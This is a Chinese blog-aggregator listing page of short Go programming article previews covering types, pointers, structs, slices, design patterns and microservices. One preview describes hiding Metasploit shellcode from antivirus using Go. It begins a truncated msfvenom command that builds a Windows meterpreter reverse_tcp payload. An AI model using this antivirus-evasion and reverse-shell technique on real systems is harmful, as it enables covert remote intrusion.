retry-go retry 113 go

第一篇 go之基本类型与函数使用

go之基本类型与函数使用 一、go语言介绍 1 go语言介绍 Go 即Golang,是Google公司2009年11月正式对外公开的一门编程语言,特点:语法简单,速度快。 Go是静态(编译型)强类型语言,是区别于解析型语言的弱类型语言(静态:类型固定 强类型:不同类型不允许直接运算)。 python ......
函数 类型

为什么 Python、Go 和 Rust 都不支持三元运算符?

在编程时,我们经常要作条件判断,并根据条件的结果选择执行不同的语句块。在许多编程语言中,最常见的写法是三元运算符,但是,Python 并不支持三元运算符,无独有偶,两个最热门的新兴语言 Go 和 Rust 也不支持! 为什么 Python 不支持三元运算符呢?本文将主要分析 Python 在设计条件 ......
运算符 Python Rust

【组合设计模式详解】C/Java/JS/Go/Python/TS不同语言实现

简介 组合模式(Composite Pattern),又叫部分整体模式,是一种结构型设计模式。用于把一组类似的对象当作一个单一的对象来看。组合模式依据树形结构来组合对象,用不同组件来构建某个部分或整体对象。 如果你需要实现树状对象结构,可以使用组合模式。如果你希望客户端代码以相同方式处理简单和复杂元 ......
设计模式 语言 模式 Python Java

【Design Pattern 23种经典设计模式源码详解】Java/JS/TS/Python/Go不同语言实现

经典设计模式源码详解,用不同语言来实现,包括Java/JS/Python/TypeScript/Go等。结合实际场景,充分注释说明,每一行代码都经过检验,确保可靠。 设计模式是一个程序员进阶高级的必然选择,不懂设计模式,就像写文章不懂得层次,盖房子没有结构。只有充分懂得设计之道,才能真正设计出良好的... ......
设计模式 源码 Pattern 语言 模式

【go语言基础】-数据操作

一. 数组 1. 特征 静态语言的数组特征: 1.大小确定 2.类型一致 只能取值,修改值 由于数组长度固定,在Go里很少直接使用 2. 定义 // 3种方式,声明,初始,省略号 // 变量arr1类型为[5]int var arr1 [5]int // 变量arr2类型为[3]int,同时初始化赋 ......
语言基础 语言 基础 数据

(转)Go语言之高级篇beego框架之Controller

原文:https://www.cnblogs.com/nulige/p/10365110.html 一、Controller 控制器 Controller等同于Django里的view,处理逻辑都是在Controller里面完成的,下面就写一个最简单的Controller。写controller的时 ......
Controller 框架 语言 beego

day18| 513.找树左下角的值;112.路径总和;113.路径总和II;106;105

513.找树左下角的值 深度优先搜索 class Solution: def findBottomLeftValue(self, root: Optional[TreeNode]) -> int: curVal = curHeight = 0 def dfs(node: Optional[TreeN ......
总和 路径 day 112 106

go 函数

前言: 函数是组织好的、可重复使用的、用来实现单一或相关联功能的代码段, 可以提高应用的模块性和代码的重复利用率。 正文: 函数定义语法: func 函数名(形式参数列表)(返回值列表){ 函数体 } 函数定义示例1: func getSum(a int, b int) int { return a ......
函数 go

go复杂数据类型 结构体

前言: Go 语言中没有“类”的概念,也不支持“类”的继承等面向对象的概念。 通过结构体的方式来实现了面向对象 ,去除了传统的oop语法,继承,重载,构造,析构,隐藏this的特性, 仍然有面向对象三大特性,实现和面向对象方法有所不同,没有extends关键字 , 结构体的内嵌配合接口比面向对象具有 ......
类型 结构 数据

【入门】Go语言指针详解

一、指针介绍 1.1 什么是指针? 指针是一种存储变量内存地址的变量。 Go 语言中的指针与 C/C++ 中的指针类似,但是 Go 语言中的指针不能进行指针运算,也不能进行指针类型转换。 1.2 指针有什么用? 在Go语言中,指针是一种特殊的变量,它存储了一个变量的内存地址。通过指针,我们可以直接访 ......
指针 语言

【入门】Go语言结构体(struct)详解

一、结构体介绍 1.1 什么是结构体? 结构体是一种自定义的数据类型,用于表示一组相关的数据字段。 结构体可以包含任意数量和类型的字段,每个字段都有一个名称和一个类型。 结构体的定义使用关键字 type 和 struct。 二、结构体定义与初始化 2.1 结构体定义 语法: type 结构体名 st ......
语言 结构 struct

使用msf生成shellcode并用Go免杀?

msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了 msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST ......
shellcode msf

Go 语言数组和切片的区别

原文链接: Go 语言数组和切片的区别 在 Go 语言中,数组和切片看起来很像,但其实它们又有很多的不同之处,这篇文章就来说说它们到底有哪些不同。 另外,这个问题在面试中也经常会被问到,属于入门级题目,看过文章之后,相信你会有一个很好的答案。 数组 数组是同一种数据类型元素的集合,数组在定义时需要指 ......
数组 语言 Go

Centos7 中 关于 tcp_syn_retries

设置地址: /proc/sys/net/ipv4/tcp_syn_retries 默认设置成 6,代表在 syn 请求超时的情况下重发 6 次,每次的等待时间为 2 ^ times ,即 2s, 4s, 8s, 16s, 32s, 64s(不计最初的请求的 1s) 所以 syn 的超时时间为 2 ^ ......
tcp_syn_retries Centos7 retries Centos tcp

Go语言入门2(流程控制,string)

流程控制 选择结构(分支语句) ​ 因为switch只能匹配固定值,推荐使用if-else做条件筛选 if-else判断 package main import "fmt" func main() { var tmpA int fmt.Scanln(&tmpA) if tmpA >= 90 { fm ......
流程 语言 string

像python操作attr一样在go里用reflect 操作field (标题与内容弱相关)

用go快两年了,其实是基本没怎么用过反射。主要是感觉对上层的使用来说没啥用。 之前模仿python的getattr和setattr简单写过GetField和SetField,写完简单测了一下就丢一边了也没大量用(因为没有需求啊) func SetField(obj any, attr string, ......
reflect 标题 内容 python field

(转)Go init函数详解

原文:https://blog.csdn.net/benben_2015/article/details/79486077 Go init函数详解init()函数会在每个包完成初始化后自动执行,并且执行优先级比main函数高。init 函数通常被用来: 对变量进行初始化检查/修复程序的状态注册运行一 ......
函数 init

【入门】Go语言排序算法详解

1、冒泡排序 冒泡排序是一种简单的排序算法,它重复地遍历要排序的列表,比较相邻的两个元素,并在必要时交换它们的位置,直到没有任何一对元素需要交换为止。该算法的名字由来是因为越小的元素会经由交换慢慢“浮”到数列的顶端。 package main import "fmt" // 我们定义了一个名为`bu ......
算法 语言

go实现一个简单切片迭代器

package main import "fmt" type iterator struct { data []int index int // 索引 } // 通过简单工厂函数构造一个实例对象 func newIterator(data []int) *iterator { return &ite ......

Go语言入门(go环境配置,变量和常量)

go语言特点 天然支持高并发 语法简单,去掉很多臃肿的东西 优化的内存分配和垃圾处理 完善的标准库 go安装 下载:Go下载 - Go语言中文网 - Golang中文社区 (studygolang.com) go version判断是否安装成功 配置环境变量GOROOT ,GOPATH go env ......
常量 变量 语言 环境

Go语言规范汇总

统一规范篇 合理规划目录 本篇主要描述了公司内部同事都必须遵守的一些开发规矩,如统一开发空间,既使用统一的开发工具来保证代码最后的格式的统一,开发中对文件和代码长度的控制,必须经过go语言自带的检测机制等。 【原则1.1】合理规划目录,一个目录中只包含一个包(实现一个模块的功能),如果模块功能复杂考 ......
语言

go 指针

前言: 变量在运行时都拥有一个地址,这个地址代表变量在内存中的位置,当一个指针被定义后没有分配到任何变量时,它的默认值为 nil。 Go语言中使用在变量名前面添加&操作符(前缀)来获取变量的内存地址。 指针变量通常缩写为 ptr。 正文: 通过指针,获取变量的值 num := 5 ptr := &n ......
指针 go

go map

前言: map类型是一个hash表,由键和值组成 正文: map声明格式: var mapname map[keytype] valuetype mapname 为map的变量名 keytype 为键类型 valuetype 是键对应的值类型 未初始化的map的值是nil map创建实例: 方式1: ......
map go

go 切片

前言: 切片的底层是数组,是对数组一个连续片段的引用。 切片和数组的不同在于定义时:数组[]中有值,切片[]中无值 由于数组的长度不可改变,所以Go提供了一种灵活,功能强悍的内置类型切片(“动态数组”)。 切片是一个有三个字段的数据结构,这 3 个字段分别是容量(capacity)、长度(lengt ......
go

Go 连接数据库的增删改查

package main import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" ) var db *sql.DB func initDB() (err error) { dsn := "root:123456@tcp(127 ......
数据库 数据 Go

开心档之Go 错误处理

Go 错误处理 Go 语言通过内置的错误接口提供了非常简单的错误处理机制。 error类型是一个接口类型,这是它的定义: type error interface { Error() string } 我们可以在编码中通过实现 error 接口类型来生成错误信息。 函数通常在最后的返回值中返回错误信 ......
错误

开心档之Go 语言环境安装

Go 语言环境安装 Go 语言支持以下系统: Linux FreeBSD Mac OS X(也称为 Darwin) Windows 安装包下载地址为:https://golang.org/dl/。 如果打不开可以使用这个地址:https://golang.google.cn/dl/。 各个系统对应的 ......
语言 环境

Go 语言:通过TDD驱动开发创建一个 Web 服务器,用户可以在其中跟踪玩家赢了多少场游戏。

你被要求创建一个 Web 服务器,用户可以在其中跟踪玩家赢了多少场游戏。 GET /players/{name} 应该返回一个表示获胜总数的数字 POST /players/{name} 应该为玩家赢得游戏记录一次得分,并随着每次 POST 递增 我们将遵循 TDD 方法,尽可能快地让程序先可用,然 ......
语言 玩家 服务器 用户 TDD

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3 项目地址:https://gi ......
kubernetes Istio Grpc Go

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3

基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 1/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 2/3 基于Go/Grpc/kubernetes/Istio开发微服务的最佳实践尝试 - 3/3 项目地址:https://gi ......
kubernetes Istio Grpc Go